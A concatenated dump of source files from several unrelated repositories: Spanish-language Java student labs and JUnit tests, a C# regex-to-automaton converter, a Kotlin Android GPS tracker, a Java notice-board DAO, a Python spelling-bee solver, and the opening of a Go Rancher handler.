this.participantes.add(pParticipante);
}
}
<file_sep>/lab7/src/packlaboratorio7/Alumno.java
package packlaboratorio7;
public abstract class Alumno
{
// atributos
private String DNI;
private String Nombre;
private String Apellido;
private int Edad;
private ListaAlumnos lista;
// constructora
public Alumno(String pDNI, String pNombre, String pApellido, int pEdad)
{
DNI=pDNI;
Nombre=pNombre;
Apellido=pApellido;
Edad=pEdad;
}
//metodos
protected ListaAlumnos getListaPreferencias()
{
return lista;
}
protected int getEdad()
{
return Edad;
}
public String getNombre()
{
return Nombre;
}
public String getApellido()
{
return Apellido;
}
public boolean tieneEsteDNI(String pDNI)
{
boolean igual=false;
if (this.DNI==pDNI)
{
igual=true;
System.out.println("El Alumno tiene este DNI");
}
else
{
System.out.println("El Alumno tiene otro DNI");
}
return igual;
}
public boolean tieneElMismoDNI(Alumno pAlumno)
{
boolean igual=false;
if(this.DNI==pAlumno.DNI)
{
igual=true;
System.out.println("Ambos Alumnos tienen el mismo DNI");
}
else
{
System.out.println("Los Alumnos tienen distintos DNI");
}
return igual;
}
public abstract void anadirPreferencia(Alumno pAlumno);
}
<file_sep>/PMOO_CONECTA4_FINAL/test/JugadorTest.java
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class JugadorTest {
Jugador p1,p2;
@Before
public void setUp() throws Exception
{
p1=new Jugador("Xabier");
p2=new Jugador("Javi");
}
@After
public void tearDown() throws Exception
{
p1=null;
p2=null;
}
@Test
public void testJugador()
{
assertNotNull(p1);
assertNotNull(p2);
}
@Test
public void testEscribirNombre()
{
assertEquals(p1.escribirNombre(),"Xabier");
assertNotEquals(p1.escribirNombre(),"Javi");
assertEquals(p2.escribirNombre(),"Javi");
assertNotEquals(p2.escribirNombre(),"Xabier");
}
}
<file_sep>/PMOO_CONECTA4_FINAL/test/ManejadorFicherosTest.java
import static org.junit.Assert.*;
import java.io.IOException;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class ManejadorFicherosTest {
@Before
public void setUp() throws Exception {
}
@After
public void tearDown() throws Exception {
}
@Test
public void testAbrirFlujoLectura() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().abrirFlujoEscritura();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testAbrirFlujoEscritura() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().abrirFlujoEscritura();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testGetManejadorFicheros() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testLeerFichero() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().abrirFlujoLectura();
ManejadorFicheros.getManejadorFicheros().leerFichero();
ManejadorFicheros.getManejadorFicheros().cerrarFlujoLectura();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testEscribirFichero() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().escribirFichero();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testCerrarFlujoLectura() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().cerrarFlujoLectura();
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
@Test
public void testCerrarFlujoEscritura() {
boolean si = false;
try {
ManejadorFicheros.getManejadorFicheros().cerrarFlujoEscritura();;
si=true;
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
assertTrue(si);
}
}
<file_sep>/lab4/src/packlaboratorio4/Operacion.java
package packlaboratorio4;
public class Operacion
{
// atributos
private int idOperacion;
private int idCliente;
private String claveTecleada;
private double cantidad;
private static double comisionNoPref=0.1;
// constructora
public Operacion(int pIdOper, int pIdCliente, String pClaveTecleada, double pCant)
{
this.idOperacion=pIdOper;
this.idCliente=pIdCliente;
this.claveTecleada=pClaveTecleada;
this.cantidad=pCant;
}
// otros metodos
public boolean tieneMismoId(int pIdOperacion)
{
boolean esIgual=false;
if (this.idOperacion==pIdOperacion)
{
esIgual=true;
}
return esIgual;
}
public void realizarOperacion ()
{
ListaClientes LC= ListaClientes.getListaClientes();
Cliente unCliente=null;
if(LC.buscarClientePorId(this.idCliente)!=null)
{
unCliente = LC.buscarClientePorId(this.idCliente);
if (unCliente.esPreferente())
{
unCliente.actualizarSaldo(this.claveTecleada, this.cantidad);
System.out.println("Cliente preferente detectado");
}
else
{
unCliente.actualizarSaldo(this.claveTecleada, this.cantidad+(this.cantidad*Operacion.comisionNoPref));
System.out.println("Cliente no preferente detectado");
}
System.out.println("La operacion se ha realizado con exito");
}
else
{
System.out.println("No se a encontrado cliente que coincida con la ID proporcionada");
}
}
}
<file_sep>/lab6/src/packlaboratorio6/Empleado.java
package packlaboratorio6;
public class Empleado
{
//atributos
private int idEmpleado;
private String Nombre;
private String Apellido;
private ListaConceptos listadeConceptos;
private int cantidadBruta;
private int numeroDeHoras;
private int anosTrabajando;
//constructora
public Empleado(int pIdEmpleado, String pNombre, String pApellido, int pCantidadBruta, int pNumeroDeHoras, int pAnosTrabajando)
{
this.idEmpleado=pIdEmpleado;
this.Nombre=pNombre;
this.Apellido=pApellido;
this.cantidadBruta=pCantidadBruta;
this.numeroDeHoras=pNumeroDeHoras;
this.anosTrabajando=pAnosTrabajando;
}
// otros metodos
public boolean tieneEstaId(int pId)
{
boolean tiene=false;
if (this.idEmpleado==pId)
{
tiene=true;
String resp=String.format("La ID coincide con la de %s y %s", this.Nombre,this.Apellido);
System.out.println(resp);
}
return tiene;
}
public double calcularSueldo()
{
return this.listadeConceptos.sumaConceptos(this.cantidadBruta, this.numeroDeHoras, this.anosTrabajando);
}
}
<file_sep>/lab6/src/packlaboratorio6/Concepto.java
package packlaboratorio6;
public abstract class Concepto {
//atributos
//contructora
public Concepto()
{
}
//metodos
public double calcularConcepto(double pCantidadBruta, int pNumeroDeHoras, int pAnosTrabajados)
{
double Concepto=0;
Concepto=pCantidadBruta * pNumeroDeHoras;
return Concepto;
}
}
<file_sep>/PMOO_CONECTA4_FINAL/test/RankingTest.java
import static org.junit.Assert.*;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class RankingTest {
ListaJugadores l1;
Persona u1;
@Before
public void setUp() throws Exception {
l1 = new ListaJugadores();
u1 = new Persona("Jose");
}
@After
public void tearDown() throws Exception {
l1=null;
u1=null;
}
@Test
public void testGetMiRanking() {
assertNotNull(l1.getScoreboardJugadores());
}
@Test
public void testGetJugador() {
assertNotNull(u1);
}
@Test
public void testSetPuntuacion() {
u1.setPuntuacion(56);
assertEquals(u1.getPuntuacion(),56);
}
@Test
public void testAnadirJugador() {
l1.anadirJugador(u1);
assertEquals(l1.getJugador("Jose"),u1);
}
@Test
public void testEliminarJugador() {
l1.anadirJugador(u1);
assertEquals(l1.getJugador("Jose"),u1);
l1.eliminarJugador(u1);
assertNotEquals(l1.getJugador("Jose"),u1);
}
@Test
public void testGetScoreboardJugadores() {
assertNotNull(l1.getScoreboardJugadores());
}
}
<file_sep>/lab6/src/packlaboratorio6/ConceptoLibre.java
package packlaboratorio6;
public class ConceptoLibre extends Concepto
{
//atributos
//constructora
public ConceptoLibre()
{
}
//metodos
public double calcularConcepto(double pCantidadBruta, int pNumeroDeHoras)
{
return super.calcularConcepto(pCantidadBruta, pNumeroDeHoras);
}
}
| 1da7561d4d0936a02acf9c23516b03d3619245dc | [
"Markdown",
"Java"
] | 43 | Java | Xabierland/PMOO | 1544c5ce001420a97420b1cad784e8fd1b698a5d | 0b4e3999c938cf41ebb47c0a5974ad73a8c2a2fc |
refs/heads/master | <repo_name>laryssacarvalho/projeto_LFA_2<file_sep>/Projeto2/Pilha.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Projeto2
{
class Pilha
{
private object[] elementos;
private int topo;
private int maximo;
public Pilha(int maximo)
{
this.elementos = new object[maximo];
this.topo = 0;
this.maximo = maximo;
}
public bool PilhaVazia()
{
return (this.topo == 0);
}
public bool PilhaCheia()
{
return (this.topo == this.maximo);
}
public void Push(object x)
{
if (this.PilhaCheia())
throw new Exception("Pilha cheia!!");
elementos[topo++] = x;
}
public object Pop()
{
if (this.PilhaVazia())
throw new Exception("Pilha vazia!");
return elementos[--topo];
}
public object Top()
{
if (this.PilhaVazia())
throw new Exception("Pilha vazia!");
return elementos[topo - 1];
}
}
}
<file_sep>/Projeto2/Graph.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Projeto2
{
class Graph
{
public List<Node> nodes { get; set; }
public static int i;
public string name;
public Graph(string name)
{
i = 0;
this.nodes = new List<Node>();
this.name = name;
}
public void AddNode(Node node)
{
node.name = name + i;
i++;
this.nodes.Add(node);
}
public Node getFinalNode()
{
foreach(Node n in nodes)
{
if (n.final)
{
return n;
}
}
return null;
}
public List<Edge> getFinalEdges()
{
List<Edge> edges = new List<Edge>();
foreach(Node n in nodes)
{
foreach(Edge e in n.edges)
{
if (e.to.final)
{
edges.Add(e);
}
}
}
return edges;
}
public Node getInitialNode()
{
foreach (Node n in nodes)
{
if (n.initial)
{
return n;
}
}
return null;
}
}
}
<file_sep>/Projeto2/Node.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Projeto2
{
class Node
{
public string name { get; set; }
public List<Edge> edges { get; set; }
public List<Node> parents { get; set; }
public bool initial { get; set; }
public bool final { get; set; }
public Node(Node parent)
{
this.edges = new List<Edge>();
this.parents = new List<Node>();
parents.Add(parent);
}
public Node()
{
this.parents = new List<Node>();
this.edges = new List<Edge>();
}
public Node(string name)
{
this.edges = new List<Edge>();
}
}
}
<file_sep>/Projeto2/Program.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Projeto2
{
class Program
{
static void Main(string[] args)
{
string regex = "";
List<string> strings = new List<string>();
Console.WriteLine("Digite uma expressão regular");
regex += Console.ReadLine().Replace(" ", string.Empty);
string posfixa = Converter(regex);
Console.WriteLine(posfixa);
Graph result = Calcular(posfixa);
Console.WriteLine($"Nome do Grafo: {result.name}\n");
foreach (Node n in result.nodes)
{
Console.WriteLine($"Nó: {n.name}");
Console.WriteLine("Pai(s):");
foreach (Node p in n.parents)
{
Console.WriteLine($" Nó: {p.name}");
}
Console.WriteLine("Aresta(s):");
foreach (Edge e in n.edges)
{
Console.WriteLine($" Nó: {e.to.name} - Valor: {e.value}");
}
Console.WriteLine("------------------------------------------------");
}
Console.ReadLine();
}
static Graph buildInitialGraph(char c)
{
Graph g = new Graph("graph_"+c);
Node node1 = new Node();
node1.initial = true;
Node node2 = new Node(node1);
node2.final = true;
Edge initial = new Edge(node1, node2, c);
node1.edges.Add(initial);
g.AddNode(node1);
g.AddNode(node2);
return g;
}
static bool isOperator(char c)
{
char[] operators = { '.', '|', '*', '+' };
return operators.Contains(c);
}
static string Converter(string expr)
{
string pos = "";
Stack<char> s = new Stack<char>();
expr = expr.Replace('{', '(');
expr = expr.Replace('[', '(');
expr = expr.Replace('}', ')');
expr = expr.Replace(']', ')');
for (int i = 0; i <= (expr.Length - 1); i++)
{
char c = expr[i];
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))
{
pos += c;
}
if (isOperator(c))
{
while ((s.Count() > 0) && (priority((char)s.First()) >= priority(c)))
pos += (char)s.Pop();
s.Push(c);
}
if (c == '(')
{
s.Push(c);
}
if (c == ')')
{
char x = (char)s.Pop();
while (x != '(')
{
pos += x;
x = (char)s.Pop();
}
}
}
while (s.Count() > 0)
{
pos += (char)s.Pop();
}
return pos;
}
static int priority(char c)
{
switch (c)
{
case '(': return 1;
case '+': return 3;
case '.': return 2;
case '|': return 2;
case '*': return 3;
}
return 0;
}
static Graph Calcular(string posfixa)
{
Stack<Graph> stack = new Stack<Graph>();
Graph x = null;
foreach (char c in posfixa)
{
if (isOperator(c))
{
if (c != ' ')
{
//desempilha os dois grafos da pilha e cria um novo grafo de acordo com a operação
if(c == '.' || c == '|')
{
Graph y = stack.Pop();
x = stack.Pop();
Graph r = buildGraph(x, y, c);
stack.Push(r);
}
else if(c == '*')
{
x = stack.Pop();
Graph r = buildGraph(x, null, c);
stack.Push(r);
}
//else if(c == '+')
//{
// Graph x = stack.Pop();
// Graph x2 = new Graph("graph_x2");
// x2.
// Graph r = buildGraph(x, null, '*');
// r.name = ("graph_r");
// Graph r2 = buildGraph(x, r, '.');
// stack.Push(r2);
//}
}
}
else
{
//criar o grafo de cada letra e por na pilha
Graph g = buildInitialGraph(c);
stack.Push(g);
}
}
return x;
}
static Graph buildGraph(Graph x, Graph y, char operation)
{
if(operation == '.')
{
Node initialNodeX = x.getInitialNode();
Node initialNodeY = y.getInitialNode();
Node finalNodeX = x.getFinalNode();
Node finalNodeY = y.getFinalNode();
finalNodeX.edges.Add(new Edge(finalNodeX, initialNodeY, ' '));
initialNodeY.parents.Add(finalNodeX);
finalNodeX.final = false;
y.getInitialNode().initial = false;
foreach (Node n in y.nodes)
{
x.AddNode(n);
}
addStartEnd(x);
}
else if (operation == '|')
{
Node initial = new Node();
initial.initial = true;
initial.edges.Add(new Edge(initial, x.getInitialNode(), ' '));
initial.edges.Add(new Edge(initial, y.getInitialNode(), ' '));
x.getInitialNode().parents.Add(initial);
y.getInitialNode().parents.Add(initial);
x.getInitialNode().initial = false;
y.getInitialNode().initial = false;
Node final = new Node();
final.final = true;
x.getFinalNode().edges.Add(new Edge(x.getFinalNode(), final, ' '));
y.getFinalNode().edges.Add(new Edge(y.getFinalNode(), final, ' '));
final.parents.Add(x.getFinalNode());
final.parents.Add(y.getFinalNode());
x.getFinalNode().final = false;
y.getFinalNode().final = false;
x.AddNode(initial);
x.AddNode(final);
foreach (Node n in y.nodes)
{
x.AddNode(n);
}
}
else if (operation == '*')
{
addStartEnd(x);
x.getInitialNode().edges.Add(new Edge(x.getInitialNode(), x.getFinalNode(), ' '));
foreach (Node n in x.nodes)
{
foreach (Edge e in n.edges)
{
if (e.value != ' ')
{
e.to.edges.Add(new Edge(e.to, e.from, ' '));
}
}
}
}
return x;
}
static void addStartEnd(Graph g)
{
Node initial = new Node();
Node final = new Node(g.getFinalNode());
initial.edges.Add(new Edge(initial, g.getInitialNode(), ' '));
g.getInitialNode().parents.Add(initial);
g.getInitialNode().initial = false;
g.getFinalNode().edges.Add(new Edge(g.getFinalNode(), final, ' '));
g.getFinalNode().final = false;
initial.initial = true;
final.final = true;
g.AddNode(initial);
g.AddNode(final);
}
}
}
| 2ee9c9daf8e28a520346ec39f517b2c7ced2c347 | [
"C#"
] | 4 | C# | laryssacarvalho/projeto_LFA_2 | 347c26398d5fd252a481c9b5241132cb2ec7d1b5 | b77fbdfdd043cb3642a97210fdf4f78c83e6365c |
refs/heads/main | <file_sep>const FundraiserContract = artifacts.require("Fundraiser"); //This tells us were going to be working with the fundraiser contract
contract("Fundraiser", accounts => { //using contract
let fundraiser;
const name = "<NAME>";
const url = "benificiaryname.org";
const imageURL = "https://placekitten.com/600/350";
const description = "Beneficiary description";
const beneficiary = accounts[1];
const owner = accounts[0]
describe("initialization", () => {
beforeEach (async () => {
fundraiser = await FundraiserContract.new(name, url, imageURL, description, beneficiary, owner);
});
it("gets the beneficiary name", async() => {
const actual = await fundraiser.name()
assert.equal(actual, name, "names should match");
});
it("gets the beneficiary url", async () => {
const actual = await fundraiser.url();
assert.equal(actual, url, "url should match")
});
it("gets the beneficiary imarge url", async () => {
const actual = await fundraiser.imageURL();
assert.equal(actual, imageURL, "imageURL should match");
});
it("gets the beneficiary description", async() => {
const actual = await fundraiser.description();
assert.equal(actual, description, "description should match");
});
it("gets the beneficiary", async() => {
const actual = await fundraiser.beneficiary();
assert.equal(actual, beneficiary, "benificiary address should match")
});
it("gets the beneficiary", async() => {
const actual = await fundraiser.owner();
assert.equal(actual, owner, "bios should match");
});
});
describe("setBeneficiary", () => {
const newBenificiary = accounts[2];
it("updated beneficiary when called by owner account", async () => {
await fundraiser.setBeneficiary(newBenificiary, {from: owner});
const actualBeneficiary = await fundraiser.beneficiary();
assert.equal(actualBeneficiary, newBenificiary, "beneficiaries should match")
});
it("throws an error when called from a non-ower account", async () => {
try {
await fundraiser.setBeneficiary(newBenificiary, {from: accounts[3]});
assert.fail("withdraw was not restricted to owners")
} catch (err) {
const expectedError = "Ownable: caller is not the owner"
const actualError = err.reason;
assert.equal(actualError, expectedError, "should not be permitted")
}
})
});
}); | f83ab39c27c544e5d88bd06062baa8056ad50472 | [
"JavaScript"
] | 1 | JavaScript | nigeldaniels/fundraiser-tutorial | 33e80aeca790d427fbe53aa89da5fa5a366b8449 | 0fca3dbdf81c099d23ca39457301bdc0782c8082 |
refs/heads/master | <file_sep># Spelling Bee Solver
Produces solutions for the "Spelling Bee" puzzle, featured on [Bloodfeast](http://www.adultswim.com/videos/streams).
Usage:
```
./spelling-bee-solver.py <required letter> <all letters in puzzle> <words text file>
```
Plaintext file containing English words (may contain proper nouns) included from [dwyl](https://github.com/dwyl/english-words).
<file_sep>#!/usr/bin/env python
import sys
MIN_LETTERS = 5
def main():
required_char = sys.argv[1].lower()
required_chars = set(sys.argv[2].lower())
this_file = set(open(sys.argv[3], "r").read().splitlines())
for line in sorted([x for x in this_file if len(x) >= MIN_LETTERS and required_char in x and set(x).issubset(required_chars)]):
print line
if __name__ == "__main__":
main()
| 178c66fcfc1070ba99ea7b5c4255d4043cfb6f73 | [
"Markdown",
"Python"
] | 2 | Markdown | icenine457/spelling-bee-solver | 9ec47d42709bc223a96b3628527c5d9303b1367a | e6f9dae46fefd7f0657a769f94775cc82c34fc8c |
refs/heads/master | <repo_name>hosseiniSeyRo/GetCurrentLcation<file_sep>/app/src/main/java/com/example/mygpstestapplication/Main2Activity.kt
package com.example.mygpstestapplication
import android.content.pm.PackageManager
import android.os.Bundle
import android.widget.Button
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
class Main2Activity : AppCompatActivity() {
private val gpsTracker = GpsTracker3(this, this, 0, 0F)
lateinit var locationText: TextView
lateinit var locationButton: Button
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
locationText = findViewById(R.id.locationText)
locationButton = findViewById(R.id.locationButton)
locationButton.setOnClickListener {
if (gpsTracker.getCurrentLocationIsSuccess())
locationText.text =
"${gpsTracker.location?.latitude}***${gpsTracker.location?.longitude}"
else {
if (gpsTracker.pleaseRepeat)
locationText.text = "REPEAT!!!"
else
locationText.text = "FAILED"
}
}
}
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<String>, grantResults: IntArray
) {
when (requestCode) {
GpsTracker3.REQUEST_LOCATION_PERMISSION -> {
if ((grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
// Permission is granted
gpsTracker.getCurrentLocationIsSuccess()
}
return
}
}
}
override fun onStop() {
gpsTracker.stopUsingGPS()
super.onStop()
}
}<file_sep>/app/src/main/java/com/example/mygpstestapplication/MainActivity.kt
package com.example.mygpstestapplication
import android.content.pm.PackageManager
import android.location.Location
import android.os.Bundle
import android.util.Log
import android.widget.Button
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
class MainActivity : AppCompatActivity() {
private var gpsTracker: GpsTracker? = null
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
val locationText: TextView = findViewById(R.id.locationText)
val locationButton: Button = findViewById(R.id.locationButton)
gpsTracker = GpsTracker(this@MainActivity)
locationButton.setOnClickListener {
Log.e("RHLog", "btn clicked")
val currentLocation = getCurrentLocation()
if (currentLocation == null)
locationText.text = "Unknown location(null)"
else
locationText.text = "${currentLocation?.latitude}***${currentLocation?.longitude}"
}
}
override fun onRequestPermissionsResult(
requestCode: Int,
permissions: Array<String>, grantResults: IntArray
) {
when (requestCode) {
GpsTracker.REQUEST_LOCATION_PERMISSION -> {
if ((grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
// Permission is granted
} else {
// Explain to the user that the feature is unavailable because
// the features requires a permission that the user has denied.
// At the same time, respect the user's decision. Don't link to
// system settings in an effort to convince the user to change
// their decision.
}
return
}
else -> {
// Ignore all other requests.
}
}
}
private fun getCurrentLocation(): Location? {
gpsTracker?.let {
it.getLocation()
if (it.hasPermission()) {
if (it.canGetLocation()) {
return it.location
} else {
gpsTracker!!.showSettingsAlert()
}
}
}
return null
}
override fun onStop() {
gpsTracker?.stopUsingGPS()
super.onStop()
}
}
<file_sep>/app/src/main/java/com/example/mygpstestapplication/GpsTracker3.kt
package com.example.mygpstestapplication
import android.Manifest
import android.annotation.SuppressLint
import android.app.Activity
import android.app.AlertDialog
import android.app.Service
import android.content.Context
import android.content.DialogInterface
import android.content.Intent
import android.content.pm.PackageManager
import android.location.Location
import android.location.LocationListener
import android.location.LocationManager
import android.os.Build
import android.os.IBinder
import android.provider.Settings
import android.util.Log
import androidx.core.app.ActivityCompat
import androidx.core.content.ContextCompat
class GpsTracker3(
private val context: Context,
private val activity: Activity,
private val minTimeBWUpdate: Long,
private val minDistanceChangeForUpdate: Float
) : Service(), LocationListener {
private lateinit var locationManager: LocationManager
private var isGPSEnabled = false
private var isNetworkEnabled = false
var location: Location? = null
private var isFirstTimeGetLocation = true
var pleaseRepeat = false
private fun hasPermission(): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
ContextCompat.checkSelfPermission(
context, Manifest.permission.ACCESS_FINE_LOCATION
) == PackageManager.PERMISSION_GRANTED
} else { //permission is automatically granted on sdk<23 upon installation
// Permission is granted
true
}
}
private fun getPermission() {
ActivityCompat.requestPermissions(
activity,
arrayOf(Manifest.permission.ACCESS_FINE_LOCATION),
REQUEST_LOCATION_PERMISSION
)
}
private fun canGetLocation(): Boolean {
locationManager = context.getSystemService(Context.LOCATION_SERVICE) as LocationManager
isGPSEnabled = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)
isNetworkEnabled = locationManager.isProviderEnabled(LocationManager.NETWORK_PROVIDER)
return isGPSEnabled || isNetworkEnabled
}
@SuppressLint("MissingPermission")
fun getCurrentLocationIsSuccess(): Boolean {
if (!hasPermission()) {
getPermission()
return false
}
if (!canGetLocation()) {
// gps and network provider is disable
Log.d("RHLog","gps and network provider is disable")
showSettingsAlert()
return false
}
// First get location from Network Provider
if (isNetworkEnabled) {
locationManager.requestLocationUpdates(
LocationManager.NETWORK_PROVIDER,
minTimeBWUpdate,
minDistanceChangeForUpdate, this
)
location = locationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER)
if (location != null) {
Log.d("RHLog","network location: " + location!!.latitude + "***" + location!!.longitude)
return true
}
}
// get location from GPS Provider
if (isGPSEnabled) {
locationManager.requestLocationUpdates(
LocationManager.GPS_PROVIDER,
minTimeBWUpdate,
minDistanceChangeForUpdate, this
)
location = locationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER)
if (location != null) {
Log.d("RHLog","gps location: " + location!!.latitude + "***" + location!!.longitude)
return true
}
}
if (isFirstTimeGetLocation) {
//REPEAT 1 TIME!!!
Log.d("RHLog","please repeat")
pleaseRepeat = true
isFirstTimeGetLocation = false
return false
}
pleaseRepeat = false
return true
}
/**
* Stop using GPS listener
* Calling this function will stop using GPS in your app
*/
fun stopUsingGPS() {
locationManager.removeUpdates(this)
}
/**
* Function to show settings alert dialog
* On pressing Settings button will launch Settings Options
*/
private fun showSettingsAlert() {
val alertDialog = AlertDialog.Builder(context)
alertDialog.setTitle("GPS Setting")
alertDialog.setMessage("GPS is not enabled. Do you want to go to settings menu?")
alertDialog.setPositiveButton(
"Settings"
) { dialog: DialogInterface?, which: Int ->
val intent = Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS)
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
activity.startActivity(intent)
}
alertDialog.setNegativeButton(
"Cancel"
) { dialog: DialogInterface, which: Int -> dialog.cancel() }
alertDialog.show()
}
override fun onLocationChanged(location: Location) {}
override fun onProviderDisabled(provider: String) {}
override fun onProviderEnabled(provider: String) {}
override fun onBind(arg0: Intent): IBinder? {
return null
}
companion object {
const val REQUEST_LOCATION_PERMISSION = 1234
}
} | ede6c318642827b574a695052dda63225f87ce2b | [
"Kotlin"
] | 3 | Kotlin | hosseiniSeyRo/GetCurrentLcation | 4bf813f849446dfcfd0db474ef0da01eae0aa4e1 | d41ce5e2660fcaa9a8504049fb7a62df41059b83 |
refs/heads/master | <repo_name>alslahxh01/ex2<file_sep>/src/main/java/com/choa/notice/NoticeDAO.java
package com.choa.notice;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.util.ArrayList;
import java.util.List;
import javax.inject.Inject;
import javax.sql.DataSource;
import org.springframework.stereotype.Repository;
import com.choa.util.DBConnector;
import com.choa.util.RowMaker;
@Repository
//NoticeDAO noticeDAO = new NoticeDAO
public class NoticeDAO {
//만들어진 쏘스를 주입시켜줘라 = inject
@Inject
private DataSource dataSource; //데이터 주입 시켜야함.
//Inject 를 하면 setter 필요없음
// public void setDataSource(DataSource dataSource) {
// this.dataSource = dataSource;
// }
public int hitup(int num) throws Exception{
Connection con = dataSource.getConnection();
PreparedStatement st= null;
int result = 0;
String sql = "update notice set hit = hit+1 where num =?";
st= con.prepareStatement(sql);
st.setInt(1, num);
result = st.executeUpdate();
return result;
}
public int getTotalCount() throws Exception{
Connection con = dataSource.getConnection();
PreparedStatement st = null;
ResultSet rs = null;
int totalCount = 0;
String sql = "select nvl(count(num),0) from notice";
st= con.prepareStatement(sql);
rs = st.executeQuery();
rs.next();
totalCount = rs.getInt(1);
DBConnector.disconnect(st, con, rs);
return totalCount;
}
// view
public NoticeDTO noticeView(int num) throws Exception {
Connection con = dataSource.getConnection();
PreparedStatement st = null;
ResultSet rs = null;
NoticeDTO noticeDTO = null;
String sql = "select * from notice where num =?";
st = con.prepareStatement(sql);
st.setInt(1, num);
rs = st.executeQuery();
if (rs.next()) {
noticeDTO = new NoticeDTO();
noticeDTO.setNum(rs.getInt("num"));
noticeDTO.setWriter(rs.getString("writer"));
noticeDTO.setTitle(rs.getString("title"));
noticeDTO.setContents(rs.getString("contents"));
noticeDTO.setReg_date(rs.getDate("reg_date"));
noticeDTO.setHit(rs.getInt("hit"));
}
// close
rs.close();
st.close();
con.close();
return noticeDTO;
}
// List
public List<NoticeDTO> noticeList(RowMaker rowMaker) throws Exception {
Connection con = dataSource.getConnection();
PreparedStatement st = null;
ResultSet rs = null;
NoticeDTO noticeDTO = null;
List<NoticeDTO> ar = new ArrayList<NoticeDTO>();
String sql = "select * from (select rownum R,N.* from (select * from notice order by num desc) N) where R between ? and ?";
st = con.prepareStatement(sql);
st.setInt(1, rowMaker.getStartRow());
st.setInt(2, rowMaker.getLastRow());
rs = st.executeQuery();
while (rs.next()) {
noticeDTO = new NoticeDTO();
noticeDTO.setNum(rs.getInt("num"));
noticeDTO.setWriter(rs.getString("writer"));
noticeDTO.setTitle(rs.getString("title"));
noticeDTO.setContents(rs.getString("contents"));
noticeDTO.setReg_date(rs.getDate("reg_date"));
noticeDTO.setHit(rs.getInt("hit"));
ar.add(noticeDTO);
}
// close
DBConnector.disconnect(st, con, rs);
return ar;
}
public int noticeWrite(NoticeDTO noticeDTO) throws Exception {
Connection con = dataSource.getConnection();
PreparedStatement st = null;
int result = 0;
String sql = "insert into notice values(notice_seq.nextVal,?,?,?,?,?)";
st = con.prepareStatement(sql);
st.setString(1, noticeDTO.getWriter());
st.setString(2, noticeDTO.getTitle());
st.setString(3, noticeDTO.getContents());
st.setDate(4, noticeDTO.getReg_date());
st.setInt(5, noticeDTO.getHit());
result = st.executeUpdate();
DBConnector.disconnect(st, con);
return result;
}
public int noticeUpdate(NoticeDTO noticeDTO) throws Exception {
Connection con = dataSource.getConnection();
PreparedStatement st = null;
int result = 0;
String sql = "update notice set title =? ,contents=? where num =?";
st = con.prepareStatement(sql);
st.setString(1, noticeDTO.getTitle());
st.setString(2, noticeDTO.getContents());
st.setInt(3, noticeDTO.getNum());
result = st.executeUpdate();
DBConnector.disconnect(st,con);
return result;
}
public int noticeDelete(int num) throws Exception {
Connection con = dataSource.getConnection();
PreparedStatement st = null;
int result = 0;
String sql = "delete notice where num =?";
st = con.prepareStatement(sql);
st.setInt(1, num);
result = st.executeUpdate();
st.close();
con.close();
return result;
}
}
| f432f122584454bfcc6cb95523e2d60d146c8e0b | [
"Java"
] | 1 | Java | alslahxh01/ex2 | 45a18799d00f28f067003caa6eb9b82d57249e49 | 1170f102dbcf2b29c3ed207e0aa44a15139b53e3 |
refs/heads/master | <repo_name>dkeightley/rancher<file_sep>/pkg/api/steve/clusters/apply.go
package clusters
import (
"bytes"
"encoding/json"
"net/http"
"github.com/pborman/uuid"
"github.com/rancher/apiserver/pkg/types"
"github.com/rancher/steve/pkg/stores/proxy"
"github.com/rancher/wrangler/pkg/apply"
"github.com/rancher/wrangler/pkg/yaml"
"k8s.io/apimachinery/pkg/runtime/schema"
"k8s.io/client-go/dynamic"
)
type Apply struct {
cg proxy.ClientGetter
}
func (a *Apply) ServeHTTP(rw http.ResponseWriter, req *http.Request) {
var (
apiContext = types.GetAPIContext(req.Context())
input ApplyInput
)
if err := json.NewDecoder(req.Body).Decode(&input); err != nil {
apiContext.WriteError(err)
return
}
